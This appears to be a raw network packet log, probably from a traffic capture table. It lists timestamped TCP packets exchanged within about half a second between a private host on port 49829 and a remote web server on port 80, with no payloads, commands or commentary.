Nov 25, 2024 05:46:46.314380884 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.314409971 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.314460993 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.315725088 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.315831900 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.315835953 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.315934896 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.317115068 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.317192078 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.317193985 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.317239046 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.318525076 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.318574905 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.318613052 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.318650007 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.320004940 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.320017099 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.320163965 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.321284056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.321424961 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.321434975 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.321521997 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.322691917 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.322813034 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.322834015 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.322953939 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.324059963 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.324110031 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.324157953 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.324234009 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.325458050 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.325541973 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.325579882 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.325622082 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.326903105 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.326920033 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.326961994 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.327032089 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.328253031 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.328370094 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.328386068 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.328418016 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.329704046 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.329751015 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.329809904 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.329860926 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.331056118 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.331167936 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.331197023 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.331216097 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.332458019 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.332540989 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.332583904 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.333811045 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.333857059 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.459790945 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.459863901 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.459969997 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.460025072 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.460448027 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.460496902 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.460504055 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.460572958 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.461453915 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.461520910 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.461551905 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.461646080 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.462507010 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.462589025 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.462611914 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.462646008 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.463589907 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.463680029 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.463709116 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.463793993 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.464688063 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.464745045 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.464778900 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.464957952 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.465780973 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.465847969 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.465878963 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.465979099 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.466865063 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.466876984 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.467020988 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.467928886 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.467972040 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.468024015 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.469022989 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.469129086 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.469180107 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.470102072 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.470200062 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.470257998 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.470257998 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.471184015 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.471285105 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.471349001 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.471437931 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.472269058 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.472369909 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.472373962 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.472433090 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.473336935 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.473403931 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.473442078 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.473520041 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.474440098 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.474555969 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.474574089 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.474601984 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.475570917 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.475581884 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.475661993 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.476725101 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.476736069 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.476820946 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.477689981 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.477744102 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.477801085 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.477889061 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.478785992 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.478889942 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.478924990 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.478952885 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.479854107 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.479912996 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.479954004 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.480329037 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.480933905 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.481045961 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.481292009 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.482045889 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.482058048 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.482146025 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.483100891 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.483196020 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.483241081 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.484195948 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.484308004 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.484308958 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.484375954 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.485259056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.485321045 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.485341072 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.485385895 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.486366987 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.486408949 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.486453056 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.486453056 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.487485886 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.487498999 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.487552881 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.487552881 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.488540888 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.488622904 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.488634109 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.488675117 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.489641905 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.489654064 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.489717960 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.489810944 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.490700960 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.490711927 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.490794897 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.491779089 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.491830111 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.491867065 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.491867065 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.492891073 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.492944002 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.492988110 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.492988110 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.493938923 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.494000912 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.494043112 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.494137049 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.495048046 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.495151043 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.495156050 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.495332003 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.496134996 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.496232033 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.496246099 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.496364117 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.497205973 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.497324944 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.497334957 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.497387886 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.498279095 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.498369932 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.498369932 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.498421907 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.499345064 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.499403000 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.499437094 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.499505043 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.500442982 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.500544071 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.500556946 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.500776052 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.501523972 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.501636982 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.501671076 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.501671076 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.502604961 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.502687931 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.502701998 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.502758026 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.503688097 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.503748894 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.503765106 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.503940105 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.504780054 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.504877090 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.504894972 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.505036116 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.505856037 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.505971909 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.505979061 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.506088972 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.506947041 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.507066011 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.507066011 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.507299900 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.508025885 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.508121967 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.508142948 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.508164883 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.509094954 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.509150982 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.509183884 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.509183884 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.510176897 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.510258913 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.510292053 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.510344028 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.511322021 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.511423111 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.511423111 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.511471987 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.512366056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.512475967 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.512476921 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.512516975 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.513473034 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.513545036 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.513582945 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.513626099 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.514518976 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.514569998 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.514656067 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.514822960 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.515578985 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.515628099 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.515676022 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.515723944 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.516632080 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.516675949 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.661302090 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.661395073 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.661446095 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.661485910 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.661827087 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.661900997 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.661936998 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.661995888 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.662928104 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.663023949 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.663038969 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.663160086 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.664000988 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.664103985 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.664109945 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.664184093 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.665112019 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.665230036 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.665313005 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.665313005 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.666148901 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.666234016 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.666264057 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.666399002 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.668073893 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.668113947 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.668133020 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.668256998 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.668421984 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.668489933 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.668529987 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.668638945 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.669436932 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.669491053 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.669512987 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.669572115 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.679393053 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.679451942 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.679472923 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.679506063 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.679550886 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.679666996 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.679682970 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.679708004 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.679728031 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.679738045 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.679759979 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.679761887 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.679761887 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.679770947 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.679819107 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.679822922 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.679867983 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.679975033 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.679985046 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.679995060 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.680048943 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.680049896 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.680062056 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.680118084 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.680135012 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.680145979 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.680169106 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.680180073 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.680190086 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.680232048 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.680274963 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.680572033 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.680617094 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.680675030 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.684813976 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.684823990 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.684881926 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.684881926 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.684938908 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.684948921 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.685012102 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.685020924 CET	49829	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:46.685024023 CET	80	49829	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:46.685060978 CET	49829	80	192.168.2.6	185.215.113.206
